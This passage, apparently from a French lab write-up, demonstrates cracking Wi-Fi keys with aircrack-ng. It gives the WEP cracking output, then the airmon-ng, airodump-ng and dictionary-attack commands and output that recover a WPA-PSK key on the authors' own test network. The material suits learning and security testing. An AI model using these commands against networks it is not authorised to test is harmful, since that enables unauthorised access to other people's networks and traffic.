15:00:05  Sending Association Request [ACK]
15:00:05  Association successful :-) (AID: 1) 

Et tout en laissant airodump ouvert sur un terminal, on vient trouver la clé WEP en utilisant la commande ci-dessous dans un autre terminal

root@Piranha:/home/pifou#aircrack-ng crack.cap 
                                                            Aircrack-ng 1.2 beta3


                                            [00:00:39] Tested 257766 keys (got 32866 IVs)

   KB    depth   byte(vote)
    0    0/  1   EE(46080) B9(39936) 70(39680) B2(39168) 86(38656) 11(38400) B4(38400) F2(38400) A1(38144) 24(37632) 
    1    0/  1   EE(45824) 11(44544) 7B(42240) 05(40960) 93(40448) C4(40448) EE(40448) 1C(39168) 3E(39168) 42(38912) 
    2    0/  1   EE(45568) 36(42240) 6A(42240) 0D(40192) DC(39680) 98(39424) F3(39424) 39(39168) 3E(38912) B6(38656) 
    3    0/  1   EE(48640) 11(43520) 61(40448) E6(40448) 00(38912) 9C(38656) EF(38656) 30(38400) B7(38400) 2A(38144) 
    4    0/  1   EE(42240) 77(40960) AA(39936) 86(39424) F2(39168) FE(39168) 95(38912) 69(38656) 73(38656) AF(38656) 
    5    1/  2   EE(42752) A2(41728) 34(41216) 46(40448) 0B(39680) 50(39424) 6C(39168) BA(39168) 7D(38912) 66(38656) 
    6    0/  1   EE(44032) 8D(43264) 9F(40960) A0(40960) 74(40704) 17(40448) 91(39936) 66(39424) 5A(39168) C4(38912) 
    7    0/  1   EE(44032) 36(40192) 4D(39680) 3D(39168) BF(39168) EC(38912) 9D(38656) EF(38656) A9(38400) B4(38144) 
    8    0/  1   EE(48128) 35(40448) C1(39680) 9E(39424) F3(39424) C8(39168) 36(38656) 2E(38144) 7A(38144) C5(38144) 
    9    0/  1   EE(45312) 74(42496) E7(40960) 6C(40192) 28(39936) 1B(39680) AF(39680) 71(38656) 44(38400) 2C(37888) 
   10    3/  1   62(39424) BC(39424) 48(39168) 56(38912) AF(38912) 23(38400) 98(38400) A7(38144) 2B(37888) 79(37888) 
   11    5/  1   68(38656) E9(38656) F9(38656) 1E(38400) 36(38400) 5A(38144) 92(38144) 5C(37888) 87(37888) CB(37888) 
   12    0/  2   79(40780) 62(40380) 4D(40156) 85(39388) DE(39280) 4E(39060) 98(38876) A7(38544) 6A(38432) 82(38144) 

             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44 ] 
	Decrypted correctly: 100%

Cassage de clé WPA-PSK

Le cassage de clé WPA est légèrement diffèrent de celui WEP. Nous utilisons les mêmes outils (aircrack-ng) mais nous devons fournir un dictionnaire avec tous les mots de passe. Dans notre cas, nous avons décidé de prendre une clé de 8 chiffres. Nous utilisons pour commencer

airmon-ng start wlan2 

Puis

airodump-ng --encrypt wpa mon0 -c 6 -w Poney --bssid 30:5A:3A:15:F6:3F

--encrypt permet de sélectionner le type d'encryption souhaité.

 CH  6 ][ Elapsed: 2 mins ][ 2016-11-21 16:18 ][ WPA handshake: 30:5A:3A:15:F6:3F                                         
                                                                                                                                     
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                     
 30:5A:3A:15:F6:3F  -34 100      738     1323   26   6  54e  WPA2 CCMP   PSK  Poneyus                                                
                                                                                                                                     
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                           
                                                                                                                                     
 30:5A:3A:15:F6:3F  74:29:AF:F3:FD:91  -16    1e- 1     75      265                                                                   
 30:5A:3A:15:F6:3F  04:DB:56:3D:FD:A2  -40    0e- 0e  4709     1367 

Un appareil doit se connecter sur notre réseau pour pouvoir avoir l'option handshake

et nous pouvons utiliser la commande

 aircrack-ng Poney.cap dico.txt

Cette commande va tester chaque mot de passe 1 par 1 présent dans notre fichier dico.txt Et au bout d'une heure nous parvenons à retrouver la clé WPA .

                                 Aircrack-ng 1.2 beta3


                   [01:01:16] 2857196 keys tested (792.44 k/s)


                           KEY FOUND! [ 02857193 ]


      Master Key     : E7 06 15 6B 6D BA 3F 42 AD 01 AF 05 DC A3 81 14 
                       D0 1A 64 4A B9 B3 C4 0B CF 4A 87 6F 80 FE 54 88 

      Transient Key  : D1 40 F8 7B 0A 2E 00 9B DC 2D DE AD 1A 7A 19 07 
                       C5 D1 25 0C F3 18 3A 48 25 31 B0 57 40 93 41 30 
                       21 37 82 9F 56 2A 1A 97 F2 35 F3 F9 BC AF 42 14 
                       22 4B 49 EA 0A 2A 90 21 C9 F4 C0 13 80 1E 76 B2 

      EAPOL HMAC     : B2 1E E7 D3 78 D6 1A 5F C8 36 63 E7 81 8B EE D1